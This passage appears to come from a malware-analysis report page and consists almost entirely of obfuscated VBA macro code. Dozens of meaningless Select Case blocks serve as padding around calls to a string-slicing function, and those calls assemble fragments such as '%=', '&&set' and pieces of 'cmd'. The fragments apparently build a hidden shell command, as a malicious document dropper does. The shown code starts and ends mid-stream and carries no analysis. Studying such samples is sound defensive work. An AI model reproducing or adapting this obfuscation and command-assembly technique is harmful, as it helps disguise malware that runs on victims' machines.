         Case 68393
            rUMiQ = CSng(LCHoi)
            PXWun = jYrCJn
End Select
Select Case VUzNh
         Case 18687
            cimqRz = 31611
            YWmcKr = Sqr(88257)
         Case 5499
            HuEpX = CSng(nmojT)
            HBQRQ = aCnPzd
End Select
lnCCnjfZB = lfAwr("2w8bpN%=COANTlfZLVQI&ZU hU", 4, 18)
Select Case nDdGH
         Case 49342
            RsFnFw = 8250
            zDcQz = Sqr(35652)
         Case 33441
            VLuuT = CSng(Rszadk)
            KjhJr = OvdMTs
End Select
Select Case kkEDn
         Case 72471
            dXwQrF = 31835
            bpiVPs = Sqr(37993)
         Case 26227
            Lnphzr = CSng(rbMzP)
            ZaaOv = ZBRJf
End Select
ziLwo = lfAwr("ZonSQt %YcjkVZjas%=Quz", 6, 14)
Select Case CBmYr
         Case 64837
            WIszw = 89656
            fpYPsS = Sqr(21137)
         Case 14662
            IuBwQ = CSng(uudJVz)
            UTkfhs = haiTR
End Select
Select Case QlTDIw
         Case 96201
            ZnuLou = 43550
            UmEAu = Sqr(53512)
         Case 73285
            bjAfwA = CSng(GzmGli)
            azFUn = KvoCh
End Select
zQPLX = lfAwr("vi0w1YWVInTk%=!%SIdKsEJ5O", 7, 16)
Select Case VRZkip
         Case 98178
            bbwSfY = 93503
            NColcw = Sqr(22883)
         Case 8544
            aoRijr = CSng(zzfYhN)
            RmEwz = noOYW
End Select
Select Case TBoFv
         Case 53498
            HvUwz = 6852
            dEsrRR = Sqr(86704)
         Case 8638
            fZtqYp = CSng(KFliz)
            jvUFj = BbcvOs
End Select
wSlMDWi = lfAwr("T.qOXLfGPVpzb%Y.oZcQ", 3, 12)
Select Case WwBiMY
         Case 28646
            JfBlf = 34801
            KsMUpW = Sqr(46520)
         Case 94296
            MhJCH = CSng(ifziS)
            JaZKk = XQTUER
End Select
Select Case rfuVIs
         Case 26990
            FkRHLa = 50532
            aCwCw = Sqr(41124)
         Case 43734
            FktZt = CSng(iINnL)
            MtIDVR = NASNaw
End Select
pzEDN = lfAwr(".T2iUGLCO&&set %fnSjw.N", 5, 17)
Select Case ujHjw
         Case 43490
            uPYwo = 75684
            FItYOo = Sqr(24263)
         Case 63135
            uhfnJz = CSng(WTdoNu)
            jqodS = jFjdjH
End Select
Select Case TfHUj
         Case 45434
            cQiWE = 11420
            CZWXz = Sqr(80697)
         Case 52859
            hJbhi = CSng(NBjcQr)
            jzRQa = BHUsa
End Select
lqSssiNsDTT = lfAwr("wTFKNijzXIlS&&setLj%K9", 3, 15)
Select Case QLuBSE
         Case 87131
            Czzszo = 24556
            OwunO = Sqr(12906)
         Case 41959
            EGXjZ = CSng(NRAqR)
            SzOXXO = iCYRl
End Select
Select Case NfuPzz
         Case 22492
            hFpYpC = 532
            XWwmGt = Sqr(79437)
         Case 72867
            jzljuf = CSng(sFHzOz)
            pSDsR = tNvQqY
End Select
skjrXwAHmhj = lfAwr("TZqhLLs&&set %izXZQQY", 7, 12)
Select Case RqlUq
         Case 16470
            OAaBn = 49748
            jjuAQX = Sqr(14649)
         Case 16458
            DAXzz = CSng(EUqWY)
            BUnJGb = psCEr
End Select
Select Case lANwzZ
         Case 75772
            JpjBc = 17249
            BSiciE = Sqr(95898)
         Case 6202
            KJBlwr = CSng(YjmIY)
            HvQJX = zRoXj
End Select
FoiOhVaG = lfAwr("UR%=N8n9M.", 2, 3)
Select Case sdzWR
         Case 46663
            zRmoYB = 25093
            dLSqA = Sqr(11553)
         Case 1065
            jMZhk = CSng(fVmRP)
            NMBRO = bjUGs
End Select
Select Case FMPzY
         Case 75970
            IURaEO = 90736
            mXjwW = Sqr(92212)
         Case 68594
            fziMlS = CSng(BzEBi)
            oGMhFj = ftApqI
End Select
RiJUJ = lfAwr("zkEk%!!%bmoApCmV M0", 4, 12)
Select Case QHiwTV
         Case 69894
            zuaKqM = 31655
            zNQhzR = Sqr(44032)
         Case 27741
            MBzmz = CSng(WccstV)
            hIAEJ = HvtVO
End Select
Select Case FTTmw
         Case 84149
            GniqI = 77263
            fIlCi = Sqr(93816)
         Case 33310
            AJcLWv = CSng(CafKvq)
            aLtnEF = INVLZc
End Select
AjvmzYDcJ = lfAwr("r.tjwWVInTvdnM", 4, 7)
Select Case sYiEw
         Case 35865
            KKlVJ = 43242
            ELzsbh = Sqr(66163)
         Case 48724
            qsMnr = CSng(HzwSNK)
            wGwXf = BISvi
End Select
Select Case jPKwfL
         Case 96177
            YdfsD = 74386
…

Open this report in the interactive analyzer, or submit your own file for analysis.